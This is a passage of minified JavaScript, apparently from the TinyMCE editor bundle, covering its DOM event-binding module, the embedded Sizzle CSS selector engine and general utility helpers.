"),y=l.length;y--;)b=l[y],x=m,C=w=!1,"DOMContentLoaded"===b&&(b="ready"),t.domLoaded&&"ready"===b&&"complete"==r.readyState?p.call(h,o({type:b})):(d||(C=f[b],C&&(x=function(t){var
n,r;if(n=t.currentTarget,r=t.relatedTarget,r&&n.contains)r=n.contains(r);else
for(;r&&r!==n;)r=r.parentNode;r||(t=o(t||E.event),t.type="mouseout"===t.type?"mouseleave":"mouseenter",t.target=n,e(t,g))})),c||"focusin"!==b&&"focusout"!==b||(w=!0,C="focusin"===b?"focus":"blur",x=function(t){t=o(t||E.event),t.type="focus"===t.type?"focusin":"focusout",e(t,g)}),v=i[g][b],v?"ready"===b&&t.domLoaded?p({type:b}):v.push({func:p,scope:h}):(i[g][b]=v=[{func:p,scope:h}],v.fakeName=C,v.capture=w,v.nativeHandler=x,"ready"===b?a(r,x,t):n(r,C||b,x,w)));return
r=v=0,p}},t.unbind=function(e,n,o){var
a,s,l,c,d,f;if(!e||3===e.nodeType||8===e.nodeType)return
t;if(a=e[u]){if(f=i[a],n){for(n=n.split("
"),l=n.length;l--;)if(d=n[l],s=f[d]){if(o)for(c=s.length;c--;)if(s[c].func===o){var
p=s.nativeHandler,h=s.fakeName,m=s.capture;s=s.slice(0,c).concat(s.slice(c+1)),s.nativeHandler=p,s.fakeName=h,s.capture=m,f[d]=s}o&&0!==s.length||(delete
f[d],r(e,s.fakeName||d,s.nativeHandler,s.capture))}}else{for(d in
f)s=f[d],r(e,s.fakeName||d,s.nativeHandler,s.capture);f={}}for(d in
f)return t;delete i[a];try{delete e[u]}catch(g){e[u]=null}}return
t},t.fire=function(n,r,i){var
a;if(!n||3===n.nodeType||8===n.nodeType)return
t;i=o(null,i),i.type=r,i.target=n;do
a=n[u],a&&e(i,a),n=n.parentNode||n.ownerDocument||n.defaultView||n.parentWindow;while(n&&!i.isPropagationStopped());return
t},t.clean=function(e){var
n,r,i=t.unbind;if(!e||3===e.nodeType||8===e.nodeType)return
t;if(e[u]&&i(e),e.getElementsByTagName||(e=e.document),e&&e.getElementsByTagName)for(i(e),r=e.getElementsByTagName("*"),n=r.length;n--;)e=r[n],e[u]&&i(e);return
t},t.destroy=function(){i={}},t.cancel=function(e){return
e&&(e.preventDefault(),e.stopImmediatePropagation()),!1}}var
l="mce-data-",u=/^(?:mouse|contextmenu)|click/,c={keyLocation:1,layerX:1,layerY:1,returnValue:1,webkitMovementX:1,webkitMovementY:1,keyIdentifier:1};return
s.Event=new
s,s.Event.bind(window,"ready",function(){}),s}),r(p,[],function(){function
e(e,t,n,r){var
i,o,a,s,l,u,d,p,h,m;if((t?t.ownerDocument||t:z)!==D&&B(t),t=t||D,n=n||[],!e||"string"!=typeof
e)return
n;if(1!==(s=t.nodeType)&&9!==s)return[];if(M&&!r){if(i=ve.exec(e))if(a=i[1]){if(9===s){if(o=t.getElementById(a),!o||!o.parentNode)return
n;if(o.id===a)return n.push(o),n}else
if(t.ownerDocument&&(o=t.ownerDocument.getElementById(a))&&I(t,o)&&o.id===a)return
n.push(o),n}else{if(i[2])return
Z.apply(n,t.getElementsByTagName(e)),n;if((a=i[3])&&x.getElementsByClassName)return
Z.apply(n,t.getElementsByClassName(a)),n}if(x.qsa&&(!P||!P.test(e))){if(p=d=F,h=t,m=9===s&&e,1===s&&"object"!==t.nodeName.toLowerCase()){for(u=_(e),(d=t.getAttribute("id"))?p=d.replace(be,"\\$&"):t.setAttribute("id",p),p="[id='"+p+"']
",l=u.length;l--;)u[l]=p+f(u[l]);h=ye.test(e)&&c(t.parentNode)||t,m=u.join(",")}if(m)try{return
Z.apply(n,h.querySelectorAll(m)),n}catch(g){}finally{d||t.removeAttribute("id")}}}return
k(e.replace(se,"$1"),t,n,r)}function n(){function e(n,r){return
t.push(n+" ")>w.cacheLength&&delete
e[t.shift()],e[n+" "]=r}var t=[];return e}function r(e){return
e[F]=!0,e}function i(e){var
t=D.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function
o(e,t){for(var
n=e.split("|"),r=e.length;r--;)w.attrHandle[n[r]]=t}function
a(e,t){var
n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||X)-(~e.sourceIndex||X);if(r)return
r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function
s(e){return function(t){var
n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function
l(e){return function(t){var
n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function
u(e){return r(function(t){return t=+t,r(function(n,r){for(var
i,o=e([],n.length,t),a=o.length;a--;)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function
c(e){return e&&typeof
e.getElementsByTagName!==Y&&e}function d(){}function f(e){for(var
t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function
p(e,t,n){var r=t.dir,i=n&&"parentNode"===r,o=W++;return
t.first?function(t,n,o){for(;t=t[r];)if(1===t.nodeType||i)return
e(t,n,o)}:function(t,n,a){var
s,l,u=[U,o];if(a){for(;t=t[r];)if((1===t.nodeType||i)&&e(t,n,a))return!0}else
for(;t=t[r];)if(1===t.nodeType||i){if(l=t[F]||(t[F]={}),(s=l[r])&&s[0]===U&&s[1]===o)return
u[2]=s[2];if(l[r]=u,u[2]=e(t,n,a))return!0}}}function h(e){return
e.length>1?function(t,n,r){for(var
i=e.length;i--;)if(!e[i](t,n,r))return!1;return!0}:e[0]}function
m(t,n,r){for(var i=0,o=n.length;i<o;i++)e(t,n[i],r);return r}function
g(e,t,n,r,i){for(var
o,a=[],s=0,l=e.length,u=null!=t;s<l;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),u&&t.push(s)));return
a}function v(e,t,n,i,o,a){return
i&&!i[F]&&(i=v(i)),o&&!o[F]&&(o=v(o,a)),r(function(r,a,s,l){var
u,c,d,f=[],p=[],h=a.length,v=r||m(t||"*",s.nodeType?[s]:s,[]),y=!e||!r&&t?v:g(v,f,e,s,l),b=n?o||(r?e:h||i)?[]:a:y;if(n&&n(y,b,s,l),i)for(u=g(b,p),i(u,[],s,l),c=u.length;c--;)(d=u[c])&&(b[p[c]]=!(y[p[c]]=d));if(r){if(o||e){if(o){for(u=[],c=b.length;c--;)(d=b[c])&&u.push(y[c]=d);o(null,b=[],u,l)}for(c=b.length;c--;)(d=b[c])&&(u=o?te.call(r,d):f[c])>-1&&(r[u]=!(a[u]=d))}}else
b=g(b===a?b.splice(h,b.length):b),o?o(null,a,b,l):Z.apply(a,b)})}function
y(e){for(var
t,n,r,i=e.length,o=w.relative[e[0].type],a=o||w.relative["
"],s=o?1:0,l=p(function(e){return e===t},a,!0),u=p(function(e){return
te.call(t,e)>-1},a,!0),c=[function(e,n,r){return!o&&(r||n!==T)||((t=n).nodeType?l(e,n,r):u(e,n,r))}];s<i;s++)if(n=w.relative[e[s].type])c=[p(h(c),n)];else{if(n=w.filter[e[s].type].apply(null,e[s].matches),n[F]){for(r=++s;r<i&&!w.relative[e[r].type];r++);return
v(s>1&&h(c),s>1&&f(e.slice(0,s-1).concat({value:"
"===e[s-2].type?"*":""})).replace(se,"$1"),n,s<r&&y(e.slice(s,r)),r<i&&y(e=e.slice(r)),r<i&&f(e))}c.push(n)}return
h(c)}function b(t,n){var
i=n.length>0,o=t.length>0,a=function(r,a,s,l,u){var
c,d,f,p=0,h="0",m=r&&[],v=[],y=T,b=r||o&&w.find.TAG("*",u),C=U+=null==y?1:Math.random()||.1,x=b.length;for(u&&(T=a!==D&&a);h!==x&&null!=(c=b[h]);h++){if(o&&c){for(d=0;f=t[d++];)if(f(c,a,s)){l.push(c);break}u&&(U=C)}i&&((c=!f&&c)&&p--,r&&m.push(c))}if(p+=h,i&&h!==p){for(d=0;f=n[d++];)f(m,v,a,s);if(r){if(p>0)for(;h--;)m[h]||v[h]||(v[h]=J.call(l));v=g(v)}Z.apply(l,v),u&&!r&&v.length>0&&p+n.length>1&&e.uniqueSort(l)}return
u&&(U=C,T=y),m};return i?r(a):a}var
C,x,w,E,N,_,S,k,T,R,A,B,D,L,M,P,O,H,I,F="sizzle"+-new
Date,z=window.document,U=0,W=0,V=n(),$=n(),q=n(),j=function(e,t){return
e===t&&(A=!0),0},Y=typeof
t,X=1<<31,K={}.hasOwnProperty,G=[],J=G.pop,Q=G.push,Z=G.push,ee=G.slice,te=G.indexOf||function(e){for(var
t=0,n=this.length;t<n;t++)if(this[t]===e)return
t;return-1},ne="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",re="[\\x20\\t\\r\\n\\f]",ie="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",oe="\\["+re+"*("+ie+")(?:"+re+"*([*^$|!~]?=)"+re+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+ie+"))|)"+re+"*\\]",ae=":("+ie+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+oe+")*)|.*)\\)|)",se=new
RegExp("^"+re+"+|((?:^|[^\\\\])(?:\\\\.)*)"+re+"+$","g"),le=new
RegExp("^"+re+"*,"+re+"*"),ue=new
RegExp("^"+re+"*([>+~]|"+re+")"+re+"*"),ce=new
RegExp("="+re+"*([^\\]'\"]*?)"+re+"*\\]","g"),de=new
RegExp(ae),fe=new RegExp("^"+ie+"$"),pe={ID:new
RegExp("^#("+ie+")"),CLASS:new
RegExp("^\\.("+ie+")"),TAG:new
RegExp("^("+ie+"|[*])"),ATTR:new
RegExp("^"+oe),PSEUDO:new RegExp("^"+ae),CHILD:new
RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+re+"*(even|odd|(([+-]|)(\\d*)n|)"+re+"*(?:([+-]|)"+re+"*(\\d+)|))"+re+"*\\)|)","i"),bool:new
RegExp("^(?:"+ne+")$","i"),needsContext:new
RegExp("^"+re+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+re+"*((?:-\\d)?\\d*)"+re+"*\\)|)(?=[^-]|$)","i")},he=/^(?:input|select|textarea|button)$/i,me=/^h\d$/i,ge=/^[^{]+\{\s*\[native
\w/,ve=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ye=/[+~]/,be=/'|\\/g,Ce=new
RegExp("\\\\([\\da-f]{1,6}"+re+"?|("+re+")|.)","ig"),xe=function(e,t,n){var
r="0x"+t-65536;return
r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)};try{Z.apply(G=ee.call(z.childNodes),z.childNodes),G[z.childNodes.length].nodeType}catch(we){Z={apply:G.length?function(e,t){Q.apply(e,ee.call(t))}:function(e,t){for(var
n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}x=e.support={},N=e.isXML=function(e){var
t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},B=e.setDocument=function(e){function
t(e){try{return e.top}catch(t){}return null}var
n,r=e?e.ownerDocument||e:z,o=r.defaultView;return
r!==D&&9===r.nodeType&&r.documentElement?(D=r,L=r.documentElement,M=!N(r),o&&o!==t(o)&&(o.addEventListener?o.addEventListener("unload",function(){B()},!1):o.attachEvent&&o.attachEvent("onunload",function(){B()})),x.attributes=i(function(e){return
e.className="i",!e.getAttribute("className")}),x.getElementsByTagName=i(function(e){return
e.appendChild(r.createComment("")),!e.getElementsByTagName("*").length}),x.getElementsByClassName=ge.test(r.getElementsByClassName),x.getById=i(function(e){return
L.appendChild(e).id=F,!r.getElementsByName||!r.getElementsByName(F).length}),x.getById?(w.find.ID=function(e,t){if(typeof
t.getElementById!==Y&&M){var n=t.getElementById(e);return
n&&n.parentNode?[n]:[]}},w.filter.ID=function(e){var
t=e.replace(Ce,xe);return function(e){return
e.getAttribute("id")===t}}):(delete
w.find.ID,w.filter.ID=function(e){var t=e.replace(Ce,xe);return
function(e){var n=typeof
e.getAttributeNode!==Y&&e.getAttributeNode("id");return
n&&n.value===t}}),w.find.TAG=x.getElementsByTagName?function(e,t){if(typeof
t.getElementsByTagName!==Y)return
t.getElementsByTagName(e)}:function(e,t){var
n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){for(;n=o[i++];)1===n.nodeType&&r.push(n);return
r}return
o},w.find.CLASS=x.getElementsByClassName&&function(e,t){if(M)return
t.getElementsByClassName(e)},O=[],P=[],(x.qsa=ge.test(r.querySelectorAll))&&(i(function(e){e.innerHTML="<select
msallowcapture=''><option
selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&P.push("[*^$]="+re+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||P.push("\\["+re+"*(?:value|"+ne+")"),e.querySelectorAll(":checked").length||P.push(":checked")}),i(function(e){var
t=r.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&P.push("name"+re+"*[*^$|!~]?="),e.querySelectorAll(":enabled").length||P.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),P.push(",.*:")})),(x.matchesSelector=ge.test(H=L.matches||L.webkitMatchesSelector||L.mozMatchesSelector||L.oMatchesSelector||L.msMatchesSelector))&&i(function(e){x.disconnectedMatch=H.call(e,"div"),H.call(e,"[s!='']:x"),O.push("!=",ae)}),P=P.length&&new
RegExp(P.join("|")),O=O.length&&new
RegExp(O.join("|")),n=ge.test(L.compareDocumentPosition),I=n||ge.test(L.contains)?function(e,t){var
n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return
e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},j=n?function(e,t){if(e===t)return
A=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return
n?n:(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1,1&n||!x.sortDetached&&t.compareDocumentPosition(e)===n?e===r||e.ownerDocument===z&&I(z,e)?-1:t===r||t.ownerDocument===z&&I(z,t)?1:R?te.call(R,e)-te.call(R,t):0:4&n?-1:1)}:function(e,t){if(e===t)return
A=!0,0;var n,i=0,o=e.parentNode,s=t.parentNode,l=[e],u=[t];if(!o||!s)return
e===r?-1:t===r?1:o?-1:s?1:R?te.call(R,e)-te.call(R,t):0;if(o===s)return
a(e,t);for(n=e;n=n.parentNode;)l.unshift(n);for(n=t;n=n.parentNode;)u.unshift(n);for(;l[i]===u[i];)i++;return
i?a(l[i],u[i]):l[i]===z?-1:u[i]===z?1:0},r):D},e.matches=function(t,n){return
e(t,null,null,n)},e.matchesSelector=function(t,n){if((t.ownerDocument||t)!==D&&B(t),n=n.replace(ce,"='$1']"),x.matchesSelector&&M&&(!O||!O.test(n))&&(!P||!P.test(n)))try{var
r=H.call(t,n);if(r||x.disconnectedMatch||t.document&&11!==t.document.nodeType)return
r}catch(i){}return
e(n,D,null,[t]).length>0},e.contains=function(e,t){return(e.ownerDocument||e)!==D&&B(e),I(e,t)},e.attr=function(e,n){(e.ownerDocument||e)!==D&&B(e);var
r=w.attrHandle[n.toLowerCase()],i=r&&K.call(w.attrHandle,n.toLowerCase())?r(e,n,!M):t;return
i!==t?i:x.attributes||!M?e.getAttribute(n):(i=e.getAttributeNode(n))&&i.specified?i.value:null},e.error=function(e){throw
new Error("Syntax error, unrecognized expression:
"+e)},e.uniqueSort=function(e){var
t,n=[],r=0,i=0;if(A=!x.detectDuplicates,R=!x.sortStable&&e.slice(0),e.sort(j),A){for(;t=e[i++];)t===e[i]&&(r=n.push(i));for(;r--;)e.splice(n[r],1)}return
R=null,e},E=e.getText=function(e){var
t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof
e.textContent)return
e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=E(e)}else
if(3===i||4===i)return e.nodeValue}else for(;t=e[r++];)n+=E(t);return
n},w=e.selectors={cacheLength:50,createPseudo:r,match:pe,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0},"
":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return
e[1]=e[1].replace(Ce,xe),e[3]=(e[3]||e[4]||e[5]||"").replace(Ce,xe),"~="===e[2]&&(e[3]="
"+e[3]+" "),e.slice(0,4)},CHILD:function(t){return
t[1]=t[1].toLowerCase(),"nth"===t[1].slice(0,3)?(t[3]||e.error(t[0]),t[4]=+(t[4]?t[5]+(t[6]||1):2*("even"===t[3]||"odd"===t[3])),t[5]=+(t[7]+t[8]||"odd"===t[3])):t[3]&&e.error(t[0]),t},PSEUDO:function(e){var
t,n=!e[6]&&e[2];return
pe.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&de.test(n)&&(t=_(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var
t=e.replace(Ce,xe).toLowerCase();return"*"===e?function(){return!0}:function(e){return
e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var
t=V[e+" "];return t||(t=new
RegExp("(^|"+re+")"+e+"("+re+"|$)"))&&V(e,function(e){return
t.test("string"==typeof e.className&&e.className||typeof
e.getAttribute!==Y&&e.getAttribute("class")||"")})},ATTR:function(t,n,r){return
function(i){var o=e.attr(i,t);return
null==o?"!="===n:!n||(o+="","="===n?o===r:"!="===n?o!==r:"^="===n?r&&0===o.indexOf(r):"*="===n?r&&o.indexOf(r)>-1:"$="===n?r&&o.slice(-r.length)===r:"~="===n?("
"+o+"
").indexOf(r)>-1:"|="===n&&(o===r||o.slice(0,r.length+1)===r+"-"))}},CHILD:function(e,t,n,r,i){var
o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return
1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,l){var
u,c,d,f,p,h,m=o!==a?"nextSibling":"previousSibling",g=t.parentNode,v=s&&t.nodeName.toLowerCase(),y=!l&&!s;if(g){if(o){for(;m;){for(d=t;d=d[m];)if(s?d.nodeName.toLowerCase()===v:1===d.nodeType)return!1;h=m="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?g.firstChild:g.lastChild],a&&y){for(c=g[F]||(g[F]={}),u=c[e]||[],p=u[0]===U&&u[1],f=u[0]===U&&u[2],d=p&&g.childNodes[p];d=++p&&d&&d[m]||(f=p=0)||h.pop();)if(1===d.nodeType&&++f&&d===t){c[e]=[U,p,f];break}}else
if(y&&(u=(t[F]||(t[F]={}))[e])&&u[0]===U)f=u[1];else
for(;(d=++p&&d&&d[m]||(f=p=0)||h.pop())&&((s?d.nodeName.toLowerCase()!==v:1!==d.nodeType)||!++f||(y&&((d[F]||(d[F]={}))[e]=[U,f]),d!==t)););return
f-=i,f===r||f%r===0&&f/r>=0}}},PSEUDO:function(t,n){var
i,o=w.pseudos[t]||w.setFilters[t.toLowerCase()]||e.error("unsupported
pseudo: "+t);return
o[F]?o(n):o.length>1?(i=[t,t,"",n],w.setFilters.hasOwnProperty(t.toLowerCase())?r(function(e,t){for(var
r,i=o(e,n),a=i.length;a--;)r=te.call(e,i[a]),e[r]=!(t[r]=i[a])}):function(e){return
o(e,0,i)}):o}},pseudos:{not:r(function(e){var
t=[],n=[],i=S(e.replace(se,"$1"));return
i[F]?r(function(e,t,n,r){for(var
o,a=i(e,null,r,[]),s=e.length;s--;)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,r,o){return
t[0]=e,i(t,null,o,n),!n.pop()}}),has:r(function(t){return
function(n){return e(t,n).length>0}}),contains:r(function(e){return
e=e.replace(Ce,xe),function(t){return(t.textContent||t.innerText||E(t)).indexOf(e)>-1}}),lang:r(function(t){return
fe.test(t||"")||e.error("unsupported lang:
"+t),t=t.replace(Ce,xe).toLowerCase(),function(e){var n;do
if(n=M?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return
n=n.toLowerCase(),n===t||0===n.indexOf(t+"-");while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var
t=window.location&&window.location.hash;return
t&&t.slice(1)===e.id},root:function(e){return
e===L},focus:function(e){return
e===D.activeElement&&(!D.hasFocus||D.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return
e.disabled===!1},disabled:function(e){return
e.disabled===!0},checked:function(e){var
t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return
e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!w.pseudos.empty(e)},header:function(e){return
me.test(e.nodeName)},input:function(e){return
he.test(e.nodeName)},button:function(e){var
t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var
t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:u(function(){return[0]}),last:u(function(e,t){return[t-1]}),eq:u(function(e,t,n){return[n<0?n+t:n]}),even:u(function(e,t){for(var
n=0;n<t;n+=2)e.push(n);return e}),odd:u(function(e,t){for(var
n=1;n<t;n+=2)e.push(n);return e}),lt:u(function(e,t,n){for(var
r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:u(function(e,t,n){for(var
r=n<0?n+t:n;++r<t;)e.push(r);return
e})}},w.pseudos.nth=w.pseudos.eq;for(C
in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})w.pseudos[C]=s(C);for(C
in{submit:!0,reset:!0})w.pseudos[C]=l(C);return
d.prototype=w.filters=w.pseudos,w.setFilters=new
d,_=e.tokenize=function(t,n){var r,i,o,a,s,l,u,c=$[t+"
"];if(c)return
n?0:c.slice(0);for(s=t,l=[],u=w.preFilter;s;){r&&!(i=le.exec(s))||(i&&(s=s.slice(i[0].length)||s),l.push(o=[])),r=!1,(i=ue.exec(s))&&(r=i.shift(),o.push({value:r,type:i[0].replace(se,"
")}),s=s.slice(r.length));for(a in
w.filter)!(i=pe[a].exec(s))||u[a]&&!(i=u[a](i))||(r=i.shift(),o.push({value:r,type:a,matches:i}),s=s.slice(r.length));if(!r)break}return
n?s.length:s?e.error(t):$(t,l).slice(0)},S=e.compile=function(e,t){var
n,r=[],i=[],o=q[e+"
"];if(!o){for(t||(t=_(e)),n=t.length;n--;)o=y(t[n]),o[F]?r.push(o):i.push(o);o=q(e,b(i,r)),o.selector=e}return
o},k=e.select=function(e,t,n,r){var
i,o,a,s,l,u="function"==typeof
e&&e,d=!r&&_(e=u.selector||e);
if(n=n||[],1===d.length){if(o=d[0]=d[0].slice(0),o.length>2&&"ID"===(a=o[0]).type&&x.getById&&9===t.nodeType&&M&&w.relative[o[1].type]){if(t=(w.find.ID(a.matches[0].replace(Ce,xe),t)||[])[0],!t)return
n;u&&(t=t.parentNode),e=e.slice(o.shift().value.length)}for(i=pe.needsContext.test(e)?0:o.length;i--&&(a=o[i],!w.relative[s=a.type]);)if((l=w.find[s])&&(r=l(a.matches[0].replace(Ce,xe),ye.test(o[0].type)&&c(t.parentNode)||t))){if(o.splice(i,1),e=r.length&&f(o),!e)return
Z.apply(n,r),n;break}}return(u||S(e,d))(r,t,!M,n,ye.test(e)&&c(t.parentNode)||t),n},x.sortStable=F.split("").sort(j).join("")===F,x.detectDuplicates=!!A,B(),x.sortDetached=i(function(e){return
1&e.compareDocumentPosition(D.createElement("div"))}),i(function(e){return
e.innerHTML="<a
href='#'></a>","#"===e.firstChild.getAttribute("href")})||o("type|href|height|width",function(e,t,n){if(!n)return
e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),x.attributes&&i(function(e){return
e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||o("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return
e.defaultValue}),i(function(e){return
null==e.getAttribute("disabled")})||o(ne,function(e,t,n){var
r;if(!n)return
e[t]===!0?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),e}),r(h,[],function(){function
e(e){var
t=e,n,r;if(!c(e))for(t=[],n=0,r=e.length;n<r;n++)t[n]=e[n];return
t}function n(e,n,r){var i,o;if(!e)return
0;if(r=r||e,e.length!==t){for(i=0,o=e.length;i<o;i++)if(n.call(r,e[i],i,e)===!1)return
0}else for(i in
e)if(e.hasOwnProperty(i)&&n.call(r,e[i],i,e)===!1)return 0;return
1}function r(e,t){var r=[];return
n(e,function(n,i){r.push(t(n,i,e))}),r}function i(e,t){var r=[];return
n(e,function(n,i){t&&!t(n,i,e)||r.push(n)}),r}function o(e,t){var
n,r;if(e)for(n=0,r=e.length;n<r;n++)if(e[n]===t)return
n;return-1}function a(e,t,n,r){var
i=0;for(arguments.length<3&&(n=e[0]);i<e.length;i++)n=t.call(r,n,e[i],i);return
n}function s(e,t,n){var
r,i;for(r=0,i=e.length;r<i;r++)if(t.call(n,e[r],r,e))return
r;return-1}function l(e,n,r){var i=s(e,n,r);return i!==-1?e[i]:t}function
u(e){return e[e.length-1]}var
c=Array.isArray||function(e){return"[object
Array]"===Object.prototype.toString.call(e)};return{isArray:c,toArray:e,each:n,map:r,filter:i,indexOf:o,reduce:a,findIndex:s,find:l,last:u}}),r(m,[d,h],function(e,n){function
r(e){return
null===e||e===t?"":(""+e).replace(h,"")}function
i(e,r){return r?!("array"!=r||!n.isArray(e))||typeof
e==r:e!==t}function o(e,t,n){var
r;for(e=e||[],t=t||",","string"==typeof
e&&(e=e.split(t)),n=n||{},r=e.length;r--;)n[e[r]]={};return
n}function a(e,t){return Object.prototype.hasOwnProperty.call(e,t)}function
s(e,t,n){var r=this,i,o,a,s,l,u=0;if(e=/^((static)
)?([\w.]+)(:([\w.]+))?/.exec(e),a=e[3].match(/(^|\.)(\w+)$/i)[2],o=r.createNS(e[3].replace(/\.\w+$/,""),n),!o[a]){if("static"==e[2])return
o[a]=t,void(this.onCreate&&this.onCreate(e[2],e[3],o[a]));t[a]||(t[a]=function(){},u=1),o[a]=t[a],r.extend(o[a].prototype,t),e[5]&&(i=r.resolve(e[5]).prototype,s=e[5].match(/\.(\w+)$/i)[1],l=o[a],u?o[a]=function(){return
i[s].apply(this,arguments)}:o[a]=function(){return
this.parent=i[s],l.apply(this,arguments)},o[a].prototype[a]=o[a],r.each(i,function(e,t){o[a].prototype[t]=i[t]}),r.each(t,function(e,t){i[t]?o[a].prototype[t]=function(){return
this.parent=i[t],e.apply(this,arguments)}:t!=a&&(o[a].prototype[t]=e)})),r.each(t["static"],function(e,t){o[a][t]=e})}}function
l(e,n){var r,i,o,a=arguments,s;for(r=1,i=a.length;r<i;r++){n=a[r];for(o
in n)n.hasOwnProperty(o)&&(s=n[o],s!==t&&(e[o]=s))}return
e}function
u(e,t,r,i){i=i||this,e&&(r&&(e=e[r]),n.each(e,function(e,n){return
t.call(i,e,n,r)!==!1&&void u(e,t,r,i)}))}function c(e,t){var
n,r;for(t=t||window,e=e.split("."),n=0;n<e.length;n++)r=e[n],t[r]||(t[r]={}),t=t[r];return
t}function d(e,t){var
n,r;for(t=t||window,e=e.split("."),n=0,r=e.length;n<r&&(t=t[e[n]],t);n++);return
t}function
f(e,t){return!e||i(e,"array")?e:n.map(e.split(t||","),r)}function
p(t){var n=e.cacheSuffix;return
n&&(t+=(t.indexOf("?")===-1?"?":"&")+n),t}var
h=/^\s*|\s*$/g;return{trim:r,isArray:n.isArray,is:i,toArray:n.toArray,makeMap:o,each:n.each,map:n.map,grep:n.filter,inArray:n.indexOf,hasOwn:a,extend:l,create:s,walk:u,createNS:c,resolve:d,explode:f,_addCacheSuffix:p}}),r(g,[f,p,m,d],function(e,n,r,i){function
o(e){return"undefined"!=typeof e}function
a(e){return"string"==typeof e}function s(e){return
e&&e==e.window}function l(e,t){var
n,r,i;for(t=t||w,i=t.createElement("div"),n=t.createDocumentFragment(),i.innerHTML=e;r=i.firstChild;)n.appendChild(r);return
n}function u(e,t,n,r){var i;if(a(t))t=l(t,v(e[0]));else
if(t.length&&!t.nodeType){if(t=f.makeArray(t),r)for(i=t.length-1;i>=0;i--)u(e,t[i],n,r);else
for(i=0;i<t.length;i++)u(e,t[i],n,r);return
e}if(t.nodeType)for(i=e.length;i--;)n.call(e[i],t);return e}function
c(e,t){return e&&t&&(" "+e.className+"
").indexOf(" "+t+" ")!==-1}function d(e,t,n){var
r,i;return t=f(t)[0],e.each(function(){var
e=this;n&&r==e.parentNode?i.appendChild(e):(r=e.parentNode,i=t.cloneNode(!1),e.parentNode.insertBefore(i,e),i.appendChild(e))}),e}function
f(e,t){return new f.fn.init(e,t)}function p(e,t){var n;if(t.indexOf)return
t.indexOf(e);for(n=t.length;n--;)if(t[n]===e)return n;return-1}function
h(e){return
null===e||e===k?"":(""+e).replace(P,"")}function
m(e,t){var n,r,i,o,a;if(e)if(n=e.length,n===o){for(r in
e)if(e.hasOwnProperty(r)&&(a=e[r],t.call(a,r,a)===!1))break}else
for(i=0;i<n&&(a=e[i],t.call(a,i,a)!==!1);i++);return e}function
g(e,t){var n=[];return
m(e,function(e,r){t(r,e)&&n.push(r)}),n}function v(e){return
e?9==e.nodeType?e:e.ownerDocument:w}function y(e,n,r){var
i=[],o=e[n];for("string"!=typeof r&&r instanceof
f&&(r=r[0]);o&&9!==o.nodeType;){if(r!==t){if(o===r)break;if("string"==typeof
